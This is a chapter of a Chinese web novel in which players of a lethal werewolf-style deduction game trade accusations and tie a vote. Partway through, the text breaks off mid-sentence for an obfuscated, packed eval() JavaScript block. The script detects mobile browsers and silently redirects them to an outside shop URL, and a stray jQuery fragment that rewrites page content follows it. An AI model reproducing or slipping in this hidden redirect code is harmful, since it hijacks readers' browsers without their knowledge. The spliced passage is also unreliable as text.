不等伏刀作答,成星已经自顾自地说了起来:“你昨晚选择的查验对象不对。”
“豪狼选择王明,有她心存善念想要保住小孩的想法。”
听到这话,王明撇了撇嘴,豪狼露出不自在的神情。
成星没管她们,看着伏刀继续说:“从你目前展现的态度来看,你不会做没有收益的事情。王明如今独身一人,查她的身份,不如查验万千两人和我们母子俩中的一个效益高。
“你查王明是因为你是杀手。
“你知道万书昨晚死了,你查她们也只能得到一个人的信任,而千里不可能随便信任你。
“你不查我们,因为你已经想好今晚杀我,拉拢我们也是白费劲。”
伏刀静静地听完,没有辩解,直接开始进攻:“没错,我昨晚实际上查的是你。昨天的机关,我认为是你设置的,你不会爬树,但豪狼会爬,你们设置好机关,制造出不会爬树的假象,弱化你是杀手的可能性,因为其她人会认为,不可能会这么明显。
“我不知道成永安知不知道你的身份有没有配合你,但豪狼作为你的杀手队友,肯定知道哪里会踩中机关,她救下成永安,于是你们就能用救命之恩顺理成章地站在一起,其她人不会疑惑你们为什么关系突然好起来了。
“昨晚投票,你看似自投,实则是站在了豪狼那边,看着票集中到我身上。顺势,你们又可以卖个人情给王明。姥姥死后,她没有确定的跟票者,会选择跟她不讨厌的人。
“不过,万书阻止了票集中在我身上这件事,你不能直接下场。于是晚上,你们就杀死了会阻碍你们的万书。
“杀手第一夜会选择千里的原因我现在也知道了。肯定是你不知什么时候就看出万千对豪狼的不满,晚上一看到刺狈门上的标记,就猜到万千这个对豪狼她们有意见的组合。巧合之间,达成了平安夜。”
千里听着,目光微深。这倒是比杀手设置机关是想要探索悬崖下面更加可信。
成永安感情上相信母亲,但理智上,伏刀说的完全没有问题,合乎情理。
关于刺狈门上标记,早上千里和豪狼对峙时,所有人都听到了。
至于母亲做不做得出这种事情……成永安认为,没有什么不可能。
成星觉察到四周目光的变化,面色不变,只是语气更沉了:“你倒是会倒打一耙。”
伏刀淡淡地说:“要捏造罪证谁不会?我查验王明,是因为昨晚她姥姥让她跟着我,我当然要知道她姥姥是不是想借着我洗白她的身份。”
这一句倒是撤回了之前说查了成星的说法,也连带着承认了前面的话是赌气捏造。
成星顺势下台,承认自己也是在试探伏刀。
但话已出口,自然会在人心留下涟漪。
伏刀瞥了眼愤愤不平但被刺狈阻拦的豪狼,转身离去。
她来到四层图书室,看到那本桌上的雪爪赞颂集,就猜到是千里看过,也毫不在意对方还看不看,将其拿走,回房看书。
这本书和之前草草翻阅留下的印象一样——完全不值一看。
伏刀揉着额头,听到有人敲门,便起身开门。
见是刺狈,伏刀皱了皱眉,没有直接让她进来,而是冷淡问道:“有事?”
刺狈眨了眨眼,说:“我想和你聊聊豪狼的事情。”
伏刀沉吟两秒,说:“进来吧。”
楼梯口的豪狼听到门关闭的声音,立刻探头看了眼,对身侧的中年人说:“的确进去了。”
她一脸兴奋地说:“这个伪装雇佣兵的办法真不错啊,很有可能能从伏刀口中得到另一个杀手的身份。”
提出了这个方法的成星没理会豪狼,兀自沉思着。她提出这个方法,自然是有所怀疑。但从刺狈坦坦荡荡的态度和伏刀的反应来看,可能性有所降低。
如果刺狈不是雇佣兵,那就是容怀生或者千里了。
一关上门隔绝了外界的声音,刺狈立刻对伏刀说:“成星和豪狼算是彻底结盟了,成星让我伪装成雇佣兵来找你套信息。不过,我看她其实是怀疑我了。我演技很好,不用担心。”
伏刀没有担心。
看了眼伏刀的脸色,刺狈便判断说:“看来成星不是另一个杀手了。那就是容怀生了。”
伏刀说:“你还觉得成星和我是在做戏撇清关系?”
刺狈说:“不是没可能啊。”
得到了想要的答案,估摸着时间也差不多了,她说:“行了,你可以让我滚出去了。”
很快,楼梯口的两人就听到房门打开,伏刀冷笑着说:“滚去告诉豪狼,用同伴来栽赃陷害明显是杀手的手笔。”
砰的一声,房门关上。
豪狼探头,刺狈站在门口,冲她摊开手表示无奈。
接下来这一日没有特别的事情发生,众人各干各的,各怀心思。
除了容怀生把别墅附近的地挖了个底儿朝天,伏刀拆了烧了雪爪歌颂集,其余人多在图书室、健身房、房间、森林等地,消磨了一天的时间。
等到了投票时间,八人坐在投票桌上,气氛一如昨天的沉凝。
【投票时间已至。】
成星直接进入正题,带头要票走伏刀。豪狼与刺狈跟票是理所当然的。
容怀生皱眉还没说话,王明先说:“成姨,你怎么就能确定豪狼是真的卧底而伏刀是杀手?就因为伏刀查了我吗?你是不喜欢伏刀还是不喜欢我啊?
“千里早上都说了,她们在固定电话上做的手脚显示晚上有人打了电话,伏刀是卧底的可能性更高。豪狼的话,我们不能确认,你这么站在她那边,让我觉得伏刀说的你们两个是杀手的话可能是真的。”
少年的目光扫过对面的空位,隐含悲意,但又变得更加坚定,她的目光落在同侧最边缘的千里身上:“千里,你说呢,你觉得更有可能杀了万书的人是谁?”
千里缓缓地说:“我不知道。”
“千里,你如果不确定的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709260|208358||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
话,就自投吧。我们不缺你这一票。”成星说。
早在白天她就预料到了现在的局面,但她们的不跟从并不要紧,因为她们这边有她、豪狼、刺狈、永安四人,已是占了八人中的四票。
千里白天拒绝了她,多在摇摆不定;容怀生过于优柔寡断,可以忽略;王明莫名跟了伏刀,似乎是顺从她姥姥的意愿,倒也无惧。伏刀本人那票就更不用说了。
伏刀淡淡一笑,说:“在你们占据大势的情况下自投,不就是站在你们那边吗?就像昨晚你站在豪狼那边一样。”
“每一票都很关键性,盲从同伴的票或者不清楚就自投是最愚蠢的。”容怀生说,“如果谁有疑问,就当场说出来。”她叹息一声,“副本隐藏规则这个时候出来,摆明了是迫不及待让我们自相残杀,我不知道为什么要走到这一步……或者说我知道,但是很失望。”
那总是温和含笑的神情已经消失了,她看着成星,冷淡地说:“成星,我会投你。”
成星没想到容怀生会这么做,看着她,抿紧了唇:“原来你是第二个杀手。”
容怀生冷肃着一张脸:“我投你,只是因为你一直在阻挡我的路,和身份无关。你为什么不想要全员通关?”
成星沉下脸说:“什么全员通关?你在外面找了一天有任何线索吗?说到底,拖得越久,对我们越不利,警方身份都要被杀手摸齐了,再拖也只是让杀手赢,谈什么全员通关。”
千里看着这场争吵,神思莫名飘远,飞到回忆里去了。
王明看了眼身侧的成永安,对方垂眸没有看对面的母亲,似乎在思考什么。
她转了转眼睛,小声对成永安说:“永安姐,你是不是不能肯定成姨的话是对是错?你不要愚孝啊,你那一票很重要的,可以帮我们平票。”
成永安看了她一眼,移开了目光。
成星和容怀生的争吵最后被豪狼一拍桌子打断,在她看来,这是两个好人的斗争,让伏刀平白看戏得了好处,太可悲了!
看着豪狼那双瞪着自己的眼睛,伏刀挑了挑眉,随后挑衅地说:“我会跟着容怀生投成星,想跟票的就跟,这也最多平票而已,大家不用有心理负担。”
说完,她便带头说:“准备投票——三、二、一!”
她的手指向了成星,桌上的手指交错间,方向却很一致。
看着票型,成星的目光落在儿子身上,成永安竟是自投了。这明显是不确定、不信任母亲的话。
容怀生、伏刀、王明投了成星。
成星、豪狼、刺狈投了伏刀。
千里投了豪狼。
三对三,平票了。
豪狼看着千里那一票,不可置信地瞪大眼睛,你怎么这样!
【在十秒内重新投一次,若再次平票,则今晚投票时间结束。】
没有人说话,也没有人改票。
这一晚重复了第一晚的平票,但比起当初的和乐与饱含希望,更多是冷漠与隔阂。